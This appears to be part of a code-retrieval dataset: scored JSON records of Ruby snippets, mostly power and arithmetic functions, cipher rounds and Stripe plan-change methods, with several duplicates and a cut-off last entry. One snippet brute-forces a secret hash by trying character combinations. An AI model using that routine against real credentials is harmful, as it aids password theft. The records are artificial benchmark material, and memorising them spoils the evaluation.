"0.5657055", "text": "def power(a,b)#ou a du style une puissance, à revérfier\n return a**b\nend", "title": "" }, { "docid": "57a2a51849b61e0f99c376055b2eb9ce", "score": "0.5655699", "text": "def m1(a,b,c,d)\n ( ( (a+(M-b)+(M-c)) % M )^(d % M) ) % M # mix/power mod\n end", "title": "" }, { "docid": "afe7c8302d0f000308f6113114207793", "score": "0.5654747", "text": "def crack_product(secret_hash_crack3r, chars)\n infinity = (1.0/0.0)\n (1..infinity).each do |i|\n character_ranges = i.times.map{ chars }\n character_ranges.first.product(*character_ranges[1..-1]) do |c_comb|\n p = c_comb.join\n return p if cracked?(secret_hash_crack3r, p)\n end\n end\nend", "title": "" }, { "docid": "4dcbaeef325dbff2f063a6de657d3dbd", "score": "0.5644769", "text": "def iqr\n @iqr ||= q3 - q1\n end", "title": "" }, { "docid": "4dcbaeef325dbff2f063a6de657d3dbd", "score": "0.5644769", "text": "def iqr\n @iqr ||= q3 - q1\n end", "title": "" }, { "docid": "f93d6016feda05266048ec1be43ac361", "score": "0.56374335", "text": "def power(i,j)\n i ** j\nend", "title": "" }, { "docid": "ebfebdf4aab2e39d45e15aed4ccd6373", "score": "0.56230193", "text": "def powerR(pow, base)\n if pow == 0\n 1\n else\n base * powerR(pow-1, base)\n end\nend", "title": "" }, { "docid": "f79f04268badd71329589d1e106fca30", "score": "0.56184614", "text": "def transmogrifier(num1, num2, num3)\n product = num1 * num2\n puts exponent = product ** num3\nend", "title": "" }, { "docid": "1be089ba0c4b15b28ee9c491351a10a1", "score": "0.5615684", "text": "def round(state, rci)\n a = state.dup\n # θ step\n # C[x] = A[x,0] xor A[x,1] xor A[x,2] xor A[x,3] xor A[x,4], for x in 0…4\n c = [\n a[ 0] ^ a[ 5] ^ a[10] ^ a[15] ^ a[20],\n a[ 1] ^ a[ 6] ^ a[11] ^ a[16] ^ a[21],\n a[ 2] ^ a[ 7] ^ a[12] ^ a[17] ^ a[22],\n a[ 3] ^ a[ 8] ^ a[13] ^ a[18] ^ a[23],\n a[ 4] ^ a[ 9] ^ a[14] ^ a[19] ^ a[24],\n ]\n # D[x] = C[x-1] xor rot(C[x+1],1), for x in 0…4\n d = (0..4).map{|x|\n c[(x-1) % 5] ^ rot(c[(x+1) % 5], 1)\n }\n # A[x,y] = A[x,y] xor D[x], for (x,y) in (0…4,0…4)\n 5.times do |x|\n 5.times do |y|\n a[x+5*y] = a[x+5*y] ^ d[x]\n end\n end\n\n # ρ and π steps\n # B[y,2*x+3*y] = rot(A[x,y], r[x,y]), for (x,y) in (0…4,0…4)\n b = 25.times.map{ 0 }\n r = [\n 0, 1, 62, 28, 27,\n 36, 44, 6, 55, 20,\n 3, 10, 43, 25, 39,\n 41, 45, 15, 21, 8,\n 18, 2, 61, 56, 14,\n ]\n 5.times do |x|\n 5.times do |y|\n b[y + 5*((2*x+3*y) % 5)] = rot(a[x+5*y], r[x+5*y])\n end\n end\n\n # χ step\n # A[x,y] = B[x,y] xor ((not B[x+1,y]) and B[x+2,y]), for (x,y) in (0…4,0…4)\n 5.times do |x|\n 5.times do |y|\n b1 = b[((x+1) % 5) + 5*y]\n b2 = b[((x+2) % 5) + 5*y]\n a[x+5*y] = b[x+5*y] ^ ((~b1) & b2)\n end\n end\n\n # ι step\n a[0] ^= rci\n a\n end", "title": "" }, { "docid": "67b0fa98173b542218762b880a226e05", "score": "0.5610741", "text": "def f(x)\n x / 2 - x**2 / 8 + x**3 / 16 - 5 * x**4 / 128\nend", "title": "" }, { "docid": "c14df80f22fc3420fcc3cdf49fcb4f9e", "score": "0.5609341", "text": "def always_three(my_number)\r\n\t((((((my_number.to_i)+5)*2)-4)/2)-(my_number.to_i))\r\nend", "title": "" }, { "docid": "c51a72a349b4b29a1bc2b6d1f7fcc9ed", "score": "0.56032336", "text": "def F( r, k )\n e = E(r)\n block = e ^ k\n bary = []\n for i in 1..8\n bary[i-1] = ((63 << ((8-i)*6)) & block) >> ((8-i)*6)\n end\n pary = []\n for i in 1..8\n pary[i-1] = S(bary[i-1],i)\n end\n result = 0\n for i in 1..8\n result += (pary[i-1] << (4-i))\n end\n result = P(result)\n result\nend", "title": "" }, { "docid": "64142a7628abdb313ae2728710afa951", "score": "0.55986685", "text": "def volume_of_cube(n)\n result = n**3\n return result\nend", "title": "" }, { "docid": "982b061084da17789eba289ccf661204", "score": "0.55953586", "text": "def cube(number)\n return number ** 3\nend", "title": "" }, { "docid": "982b061084da17789eba289ccf661204", "score": "0.55953586", "text": "def cube(number)\n return number ** 3\nend", "title": "" }, { "docid": "982b061084da17789eba289ccf661204", "score": "0.55953586", "text": "def cube(number)\n return number ** 3\nend", "title": "" }, { "docid": "982b061084da17789eba289ccf661204", "score": "0.55953586", "text": "def cube(number)\n return number ** 3\nend", "title": "" }, { "docid": "adc783d02eb46e5d0c32e67f84ba6c57", "score": "0.5592688", "text": "def transmogrifier a, b, c\n\tnerd = (a * b) ** c\n\tnerd\nend", "title": "" }, { "docid": "af728542a1ed825534ad7621252f1594", "score": "0.5592362", "text": "def third_charm(my_number) \n my_number = (((my_number + 5)*2 -4) / 2 - my_number)\nend", "title": "" }, { "docid": "30f22ed95be77fd10bddf8db404eba1c", "score": "0.5589545", "text": "def quad_res_rat(a,p)\n if p % 2 == 0\n if p != 2\n return nil\n end\n r = a % 8\n if r % 2 == 0\t\n return 0\n elsif r == 7\n return 1\n else\n return -1\n end\n end\n r = NumberUtil::modPower(a, (p-1)/2, p)\n return r == p - 1 ? -1 : r\nend", "title": "" }, { "docid": "ccc30b04ead775820d3b02eee0b8fa56", "score": "0.5581423", "text": "def is_power_of_three(n)\n num = 3\n while n > num \n n /= num \nend", "title": "" }, { "docid": "890dd10788ab8dde7f22815bd505241c", "score": "0.5581026", "text": "def p n\n\t(n * ((3 * n) - 1) ) / 2\nend", "title": "" }, { "docid": "2de1f9fc4285cdef16e73e35bb8e5487", "score": "0.5575607", "text": "def rpower(arg0)\n end", "title": "" }, { "docid": "bbbf267fd3af8365f54904166f2e28e1", "score": "0.55581367", "text": "def circulo(radio:1)\n pi =3.1416\n pi*radio**2\nend", "title": "" }, { "docid": "20ac3e114820bdd22163ec8018b66ceb", "score": "0.55525386", "text": "def powermod(x, n, q); end", "title": "" }, { "docid": "abe2f38b764c8a3558522eac18864899", "score": "0.55494356", "text": "def pi_exp exp\n 3.1416 ** exp\nend", "title": "" }, { "docid": "f97f31c425da097f57b425e31409b108", "score": "0.5526993", "text": "def transmogrifier (a, b, c) \n\tp (a * b) ** c\nend", "title": "" }, { "docid": "2f8ec6b25320b5ead3578d4f28de9d14", "score": "0.5519253", "text": "def TriangleRow1(num)\n return 2**num\nend", "title": "" }, { "docid": "f592cf8269be5567b67e1eee552f2b92", "score": "0.55190724", "text": "def single_number_genius(nums)\n # Just XOR all elements -- gets rid of all redundancies\n nums.inject(&:^)\nend", "title": "" }, { "docid": "acf5fc651ba42ba845e69e9080da1262", "score": "0.5513503", "text": "def cubertino(n)\n puts n ** 3\nend", "title": "" }, { "docid": "acf5fc651ba42ba845e69e9080da1262", "score": "0.5513503", "text": "def cubertino(n)\n puts n ** 3\nend", "title": "" }, { "docid": "acf5fc651ba42ba845e69e9080da1262", "score": "0.5513503", "text": "def cubertino(n)\n puts n ** 3\nend", "title": "" }, { "docid": "acf5fc651ba42ba845e69e9080da1262", "score": "0.5513503", "text": "def cubertino(n)\n puts n ** 3\nend", "title": "" }, { "docid": "d140a7bd2b05bfa7ccfc8642bf19a24c", "score": "0.5513252", "text": "def always_three(number)\n # math and put on one line!\n (((number + 5) * 2 - 4) / 2 - number)\nend", "title": "" }, { "docid": "19a560f4e84e6d119010222ae6d65b2d", "score": "0.5512809", "text": "def always_three(number)\n\tputs 'Always ' + (((number + 5) * 2 - 4) / 2 - number).to_s\nend", "title": "" }, { "docid": "0fc3003b1807a629440403c42496944d", "score": "0.5512626", "text": "def tetration(a,b)\n\t\t_r = 1\n\t\tfor i in 0..b-1\n\t\t\t_r = a**_r \n\t\tend\n\t\treturn _r\n\tend", "title": "" }, { "docid": "6653f711c1dea47c82b3f44deceec92c", "score": "0.55059373", "text": "def transmog (num1, num2, num3)\n a = num1 * num2\n b = a ** num3\nend", "title": "" }, { "docid": "c18d4400c468a8d4f47be8ce1bcbf4a0", "score": "0.550385", "text": "def circumference(r)\n pi = 3.14\n 2 * pi * r\nend", "title": "" }, { "docid": "57deb84bba3378d231da9067c6d677e3", "score": "0.5502764", "text": "def always_three(number_1)\nnumber_1 = (((((number_1 + 5)*2)-4)/2) - number_1)\nend", "title": "" }, { "docid": "b1287c3ed3d229321e3b5ed51e4e8b1a", "score": "0.54993063", "text": "def lightsMod2(num)\n value = num - 2\n puts ((value/3) + 1)\nend", "title": "" }, { "docid": "fd34f7666bd5feb584f68e30ef3a9473", "score": "0.54950047", "text": "def polly_wanna(input)\n\tinput*3\nend", "title": "" }, { "docid": "e8221178ee6449bb257941cd265f2b94", "score": "0.54915684", "text": "def cube(num)\n return num ** 3\nend", "title": "" }, { "docid": "35f1e3e5925420c699408cde91c3196b", "score": "0.54863435", "text": "def is_power_of_three(n)\n return false if n == 0\n while n % 3 == 0\n n /= 3\n end\n n == 1\nend", "title": "" }, { "docid": "a91dd73abc1e8a5224243324d8fabb46", "score": "0.5481577", "text": "def is_triple(a,b,c)\n a**2 + b**2 == c**2 ? true : false\nend", "title": "" }, { "docid": "eaca0a2fd79ade1f723f421e5e74769e", "score": "0.5481065", "text": "def cubertino(n)\n puts n ** 3\n end", "title": "" }, { "docid": "aa5c0e499fa9a3bba62f8d8a537ed97d", "score": "0.5481017", "text": "def mystery4(b,e)\n if e == 0\n return 1\n else\n return b * mystery4(b,e-1)\n end\nend", "title": "" }, { "docid": "aa5c0e499fa9a3bba62f8d8a537ed97d", "score": "0.5481017", "text": "def mystery4(b,e)\n if e == 0\n return 1\n else\n return b * mystery4(b,e-1)\n end\nend", "title": "" }, { "docid": "aa5c0e499fa9a3bba62f8d8a537ed97d", "score": "0.54804754", "text": "def mystery4(b,e)\n if e == 0\n return 1\n else\n return b * mystery4(b,e-1)\n end\nend", "title": "" }, { "docid": "d2c57fc6404d544a4b16beb74245ebd7", "score": "0.54778045", "text": "def pythagorean_triplet\r\n\r\n\r\nend", "title": "" }, { "docid": "eea0d0a748e9948f6a8c46f70804e6e7", "score": "0.54766345", "text": "def power(first, second)\n first ** second\nend", "title": "" }, { "docid": "ceb0d3a5feaa90171c1e1c9d829c00f8", "score": "0.54692906", "text": "def power (a,b)\n\tresultat = (a**b)\nend", "title": "" }, { "docid": "6b85479b3b14bcfd702ba07621067102", "score": "0.54677355", "text": "def transmogrifier(num1, num2, num3)\n\tmultThree = (num1 + num2) * num3 \n\tputs multThree\nend", "title": "" }, { "docid": "98eef4d70ecb782252fa4187204aa19f", "score": "0.5461676", "text": "def iscorrect(n, p)\n n == n.to_a.map {|i| i**p}.reduce(:+)\nend", "title": "" }, { "docid": "8af50e7bc9dfad044da5cf5d60fe1754", "score": "0.5458071", "text": "def legendre(residue, modulus)\r\n\t\texp = (modulus - 1)/2\r\n\t\tres = pow(residue, exp, modulus)\r\n\t\tres = res - modulus if res > 1\r\n\r\n\t\tres\r\n\tend", "title": "" }, { "docid": "435f6e9f1d3c0826ccbece375e77bea7", "score": "0.5455224", "text": "def always_three (number)\n\n\t(((number + 5)*2-4) / 2 - number)\n\n\n#final_number = start_number\n#final_number +=5\n#final_number *=2\n#final_number -=4\n#final_number /=2\n#final_number -= start_number \n\nend", "title": "" }, { "docid": "fec9c89d44cfe337243acd4ba7f48708", "score": "0.5453437", "text": "def to_i\n (r1.to_i << 2) + (r2.to_i << 1) + r3.to_i\n end", "title": "" } ]
22e9d628edbea519223d1918a7df71de
Public: Change MozyPro plan
[ { "docid": "ab548b09e7e5c9801e64d3b502f910b2", "score": "0.6355564", "text": "def change_mozypro_plan(base_plan, server_plan, storage_add_on, coupon)\n # Find current server plan id e.g. 'products_addon_10353251, Server Plan, $12.99'\n server_plan_locator = '//label[starts-with(.,\"Server Plan\")]'\n current_server_plan_id = find(:xpath, server_plan_locator)[:for]\n unless base_plan.nil?\n pro_base_plan_select.select(base_plan)\n wait_until{\n # Wait for ajax call back\n # Find target server plan id e.g. 'products_addon_10353259, Server Plan, $19.99'\n target_server_plan_id = find(:xpath, server_plan_locator)[:for]\n target_server_plan_id != current_server_plan_id\n\n }\n end\n\n unless server_plan.nil?\n server_plan_change_link.click\n wait_until{ server_plan_select.visible? }\n server_plan_select.select(server_plan.capitalize)\n end\n\n unless storage_add_on.nil?\n wait_until{ storage_add_on_tb.visible? }\n storage_add_on_tb.type_text(storage_add_on)\n end\n\n coupon_code_tb.type_text(coupon) unless coupon.nil?\n confirm_change\n end", "title": "" } ]
[ { "docid": "08411d46eca359f1b9a88aca85aad41c", "score": "0.78183556", "text": "def set_plan\n \n end", "title": "" }, { "docid": "08b0636c6d445463464793b2ce0f9fc3", "score": "0.6954385", "text": "def change_billing_plan!(new_plan)\n # TODO!\n end", "title": "" }, { "docid": "f408d3c4531fa067f1c60e0d77e56ede", "score": "0.68563235", "text": "def set_plan(v)\n Saklient::Util::validate_type(v, 'Saklient::Cloud::Resources::ServerPlan')\n raise Saklient::Errors::SaklientException.new('immutable_field', 'Immutable fields cannot be modified after the resource creation: ' + 'Saklient::Cloud::Resources::Server#plan') if !@is_new\n @m_plan = v\n @n_plan = true\n return @m_plan\n end", "title": "" }, { "docid": "f408d3c4531fa067f1c60e0d77e56ede", "score": "0.68563235", "text": "def set_plan(v)\n Saklient::Util::validate_type(v, 'Saklient::Cloud::Resources::ServerPlan')\n raise Saklient::Errors::SaklientException.new('immutable_field', 'Immutable fields cannot be modified after the resource creation: ' + 'Saklient::Cloud::Resources::Server#plan') if !@is_new\n @m_plan = v\n @n_plan = true\n return @m_plan\n end", "title": "" }, { "docid": "32be88b01b19f8418f2143455668bf99", "score": "0.68342197", "text": "def plan=(new_plan)\n reset\n @plan = new_plan\n end", "title": "" }, { "docid": "3fed2b73ffbc1be5d2bbe989c2ac14e0", "score": "0.6780051", "text": "def change_plan(email, password, account_id, type)\n @api.put(Services::ACCOUNTS,\"accounts/#{account_id}/plan\",@api.basic_auth(email, password).merge!({ :body => { :type => type } }))\n end", "title": "" }, { "docid": "955e37dc112172119bf4f063b99f2ad1", "score": "0.6729618", "text": "def set_plan\n @plan = Plan.friendly.find(params[:id])\n end", "title": "" }, { "docid": "1ab1652604d92a1fe08df114c143b18e", "score": "0.67288196", "text": "def set_plan\n @plan = Plan.friendly.find(params[:id])\n end", "title": "" }, { "docid": "22f3e0174449fb3c16b68686f5418bcc", "score": "0.6672665", "text": "def set_Plan(value)\n set_input(\"Plan\", value)\n end", "title": "" }, { "docid": "22f3e0174449fb3c16b68686f5418bcc", "score": "0.6672665", "text": "def set_Plan(value)\n set_input(\"Plan\", value)\n end", "title": "" }, { "docid": "22f3e0174449fb3c16b68686f5418bcc", "score": "0.6672665", "text": "def set_Plan(value)\n set_input(\"Plan\", value)\n end", "title": "" }, { "docid": "22f3e0174449fb3c16b68686f5418bcc", "score": "0.6672665", "text": "def set_Plan(value)\n set_input(\"Plan\", value)\n end", "title": "" }, { "docid": "8b7eeb87e8d40c45214a2465cc6595fd", "score": "0.66300493", "text": "def change_plan(stripe_customer, subscription_id, plan_id)\n stripe_subscription = stripe_customer.subscriptions.retrieve(subscription_id)\n stripe_subscription.plan = plan_id\n stripe_subscription.prorate = false\n stripe_subscription.save\n end", "title": "" }, { "docid": "d23ffb3281071c0fda447557a6cd3975", "score": "0.6585051", "text": "def change_plan( new_plan )\n #debugger\n # not change?\n return if plan == new_plan\n \n # prorate unused paid value on current plan\n self.balance -= plan.prorated_value( days_remaining ) if active?\n # or prorate unused (although unpaid) value on current plan [comment out if you want to be more forgiving]\n self.balance -= plan.rate - plan.prorated_value( past_due_days ) if past_due?\n \n # prorate unused trial days if in trial\n trial_ends = next_renewal_on if trial?\n \n # update the plan\n self.plan = new_plan\n \n # update the state and initialize the renewal date\n if plan.free?\n self.free\n elsif trial_ends #aka in trial\n self.trial\n self.next_renewal_on = trial_ends\n else\n self.active\n self.next_renewal_on = Time.zone.today\n self.warning_level = nil\n end\n \n # save changes so far, and restart billing cycle (unless in trial or free)\n save && renew\n end", "title": "" }, { "docid": "a7351a097ad152b6f4245857d91aac41", "score": "0.6584741", "text": "def set_Plan(value)\n set_input(\"Plan\", value)\n end", "title": "" }, { "docid": "a7351a097ad152b6f4245857d91aac41", "score": "0.6584741", "text": "def set_Plan(value)\n set_input(\"Plan\", value)\n end", "title": "" }, { "docid": "86aa1890bb7344eca2a897e1e22ac163", "score": "0.65762806", "text": "def set_plan(v)\n Saklient::Util::validate_type(v, 'Saklient::Cloud::Resources::DiskPlan')\n raise Saklient::Errors::SaklientException.new('immutable_field', 'Immutable fields cannot be modified after the resource creation: ' + 'Saklient::Cloud::Resources::Disk#plan') if !@is_new\n @m_plan = v\n @n_plan = true\n return @m_plan\n end", "title": "" }, { "docid": "c8dc6af38b6158f1570f404e74dc7ec6", "score": "0.6562908", "text": "def change_plan(plan)\n update = FsprgSubscriptionUpdate.new self.reference\n update.product_path = \"/#{plan.fastspring_reference}\"\n update.proration = AppConfig.fastspring.proration\n $fastspring.update_subscription update\n end", "title": "" }, { "docid": "f1fbc7b6204e8df9a507e4dc210833fb", "score": "0.6548807", "text": "def set_plan\n @plan = Plan.find(params[:plan_id])\n end", "title": "" }, { "docid": "3894da34ebca2b04f8b90fb735dabc64", "score": "0.65375113", "text": "def set_plan\n id = params[:id] || params[:plan_id]\n @plan = @enterprise.plans.find(id)\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65261304", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "29784eb87078f05fae17a2d8e4bc66d0", "score": "0.65254384", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "77524e5041a0a11c4d602a1627d77466", "score": "0.6493261", "text": "def plan\n app.plan\n end", "title": "" }, { "docid": "9fab68fb21e3a7ce07e2311244e453bc", "score": "0.6490734", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "ebf5fa40749921bc18e2452881950f9e", "score": "0.6474662", "text": "def plan=(plan)\n if plan.amount > 0\n # Discount the plan with the existing discount (if any)\n # if the plan doesn't already have a better discount\n plan.discount = discount if discount && discount > plan.discount\n # If the assigned plan has a better discount, though, then\n # assign the discount to the subscription so it will stick\n # through future plan changes\n self.discount = plan.discount if plan.discount && plan.discount > discount\n else\n # Free account from the get-go? No point in having a trial\n self.state = 'active' if new_record?\n end\n \n [:amount, :user_limit, :renewal_period, :prepaid_message_count, :ssl_allowed].each do |f|\n self.send(\"#{f}=\", plan.send(f))\n end\n \n self.subscription_plan = plan\n end", "title": "" }, { "docid": "c1ae6baf42102bb8ff86354c46045b1e", "score": "0.64740556", "text": "def set_plan\n @plan = Plan.find_by_id(params[:id])\n end", "title": "" }, { "docid": "b40217c456fef15800d40ef639d86c7a", "score": "0.64684135", "text": "def force_to_change_plan!(new_plan)\n change_plan!(new_plan)\n switches_on = switches_for_plan(new_plan)\n make_switches_on(switches_on)\n make_switches_off(switches_on)\n end", "title": "" }, { "docid": "05c9c40b66b32cda36b20fd17b3e64fe", "score": "0.6464742", "text": "def create_plan\n \tplanAttributes = {\n \"name\" => \"POC Subscription C4\",\n \"description\" => \"Premium Subscription\",\n \"type\" => \"INFINITE\",\n \"payment_definitions\" => [\n {\n \"name\" => \"Monthly Premium Subscription\",\n \"type\" => \"REGULAR\",\n \"frequency\" => \"MONTH\",\n \"frequency_interval\" => \"1\",\n \"amount\" => {\n \"value\" => \"30\",\n \"currency\" => \"USD\"\n },\n \"cycles\" => \"0\" \n }\n ],\n \"merchant_preferences\" => {\n \"return_url\" => \"http://localhost:3000/subscription/return\",\n \"cancel_url\" => \"http://localhost:3000/subscription/cancel\",\n \"auto_bill_amount\" => \"YES\",\n \"initial_fail_amount_action\" => \"CONTINUE\",\n \"max_fail_attempts\" => \"2\"\n }\n \t}\n \tplan = Plan.new(PlanAttributes)\n plan.create #returns true\n\n logger.info \"Plan: #{plan.id}\"\n patch = Patch.new\n patch.op = \"replace\"\n patch.path = \"/\";\n patch.value = { :state => \"ACTIVE\" }\n plan.update( patch )\n end", "title": "" }, { "docid": "59505e08ce20caa91d67104d3c5e84ec", "score": "0.6458932", "text": "def update_plan!(plan_id, profilable = payment_gateway_profilable)\n raise \"Inequivalence beyond object identity, profilable != payment_gateway_profilable\" if profilable != payment_gateway_profilable\n\n _with_stripe_key do\n customer = Stripe::Customer.retrieve(self.vendor_id)\n\n begin\n if customer.subscriptions.data.empty?\n result = customer.subscriptions.create(:trial_end => (Time.now + self.class::TRIAL_DURATION).to_i,\n :plan => plan_id)\n else\n sub = customer.subscriptions.data.first\n sub.plan = plan_id\n sub.trial_end = stripe_trial_ends_at.to_i if trialing?\n sub.save\n end\n rescue Stripe::InvalidRequestError => e\n if RECOGNIZED_ERRORS.any? { |m| e.message.start_with?(m) }\n profilable.errors.add(:base, I18n.t('payment_gateway_profile.custom_plan_update_error', :message => e.message))\n else\n profilable.errors.add(:base, I18n.t('payment_gateway_profile.plan_update_error'))\n DetectedError.create(:message => e.message, :business_id => profilable.business_id)\n end\n\n return false\n end\n\n customer = Stripe::Customer.retrieve(self.vendor_id)\n _cache_customer(customer)\n save\n end\n end", "title": "" }, { "docid": "7c78a59bc822c78e329082304d4083c6", "score": "0.6453826", "text": "def plan\n return @plan if @plan.present?\n\n @paying ||= billing_subscriptions\n @plan = @paying.present? ? @paying.first.plan : Fabric.default_plan\n end", "title": "" }, { "docid": "4eb0fe712db575251f95406b35e966ca", "score": "0.6440708", "text": "def set_pm_plan\n @pm_plan = Pm::Plan.find(params[:id])\n end", "title": "" }, { "docid": "0d6a664794549f96d8295222d12e70c6", "score": "0.64381164", "text": "def new_plan\n\t plan.clear\n\t plan\n\tend", "title": "" }, { "docid": "33b2f9fe1acd3425afaf4b53a27c192e", "score": "0.6427202", "text": "def plan\n\t\t\t@setting_nav_id = 'plan'\n\t\t\t@plans = Plan.all\n\t\tend", "title": "" }, { "docid": "e6e738582d9bf615984b2cf2b8e63d8f", "score": "0.6381532", "text": "def change_plan( new_plan )\n # not change?\n return if plan == new_plan\n \n # return unused prepaid value on current plan\n self.balance -= plan.prorated_value( days_remaining ) if active?\n # or they owe the used (although unpaid) value on current plan [comment out if you want to be more forgiving]\n self.balance -= plan.rate - plan.prorated_value( past_due_days ) if past_due?\n \n # update the plan\n self.plan = new_plan\n \n # update the state and initialize the renewal date\n if plan.free?\n self.free\n \n elsif (e = trial_ends_on)\n self.trial\n self.next_renewal_on = e #reset end date\n \n else #active or past due\n # note, past due grace period resets like active ones due today, ok?\n self.active\n self.next_renewal_on = Time.zone.today\n self.warning_level = nil\n end\n # past_due and expired fall through till next renew\n \n # save changes so far\n save\n end", "title": "" }, { "docid": "e5b6f8a70673974ce0929dacacb47b91", "score": "0.6378926", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "e5b6f8a70673974ce0929dacacb47b91", "score": "0.6378926", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "e5b6f8a70673974ce0929dacacb47b91", "score": "0.6378926", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "e5b6f8a70673974ce0929dacacb47b91", "score": "0.6378926", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "e5b6f8a70673974ce0929dacacb47b91", "score": "0.6378926", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "e5b6f8a70673974ce0929dacacb47b91", "score": "0.6378926", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "e5b6f8a70673974ce0929dacacb47b91", "score": "0.6378926", "text": "def set_plan\n @plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "007301d1f9d8641b3d419482a0295239", "score": "0.63606906", "text": "def set_plan\n @plan = Plan.find(params[:id])\n @stripe_plan = Stripe::Plan.retrieve(@plan.stripe_id) if @plan.stripe_id\n end", "title": "" }, { "docid": "ba7c5bb5a4bf223766a1b407d907dd60", "score": "0.6346191", "text": "def plan_cost\n if plan_id == 'pro'\n return 2000\n else\n return 1000\n end\n end", "title": "" }, { "docid": "edf43141497e62630ed9c876daddd182", "score": "0.6333303", "text": "def set_yourplan\n @yourplan = Yourplan.find(params[:id])\n end", "title": "" }, { "docid": "0bacbc186f3faca015811a418228d679", "score": "0.63268596", "text": "def reset_plan(plan = ExecutablePlan.new)\n @plan = plan\n end", "title": "" }, { "docid": "5f074a83aab6d08ae151779ddc38feea", "score": "0.6319834", "text": "def plan!(planable)\n ensure_planable!(planable)\n Plan.create!({ :planer => self, :planable => planable }, :without_protection => true)\n end", "title": "" }, { "docid": "304b21ee010ef7943956d67f373765d3", "score": "0.6315015", "text": "def set_commo_plan\n @commo_plan = CommoPlan.find(params[:id])\n end", "title": "" }, { "docid": "de89b77fc6eda4f7152be3e2818c2e44", "score": "0.6301786", "text": "def update\n if 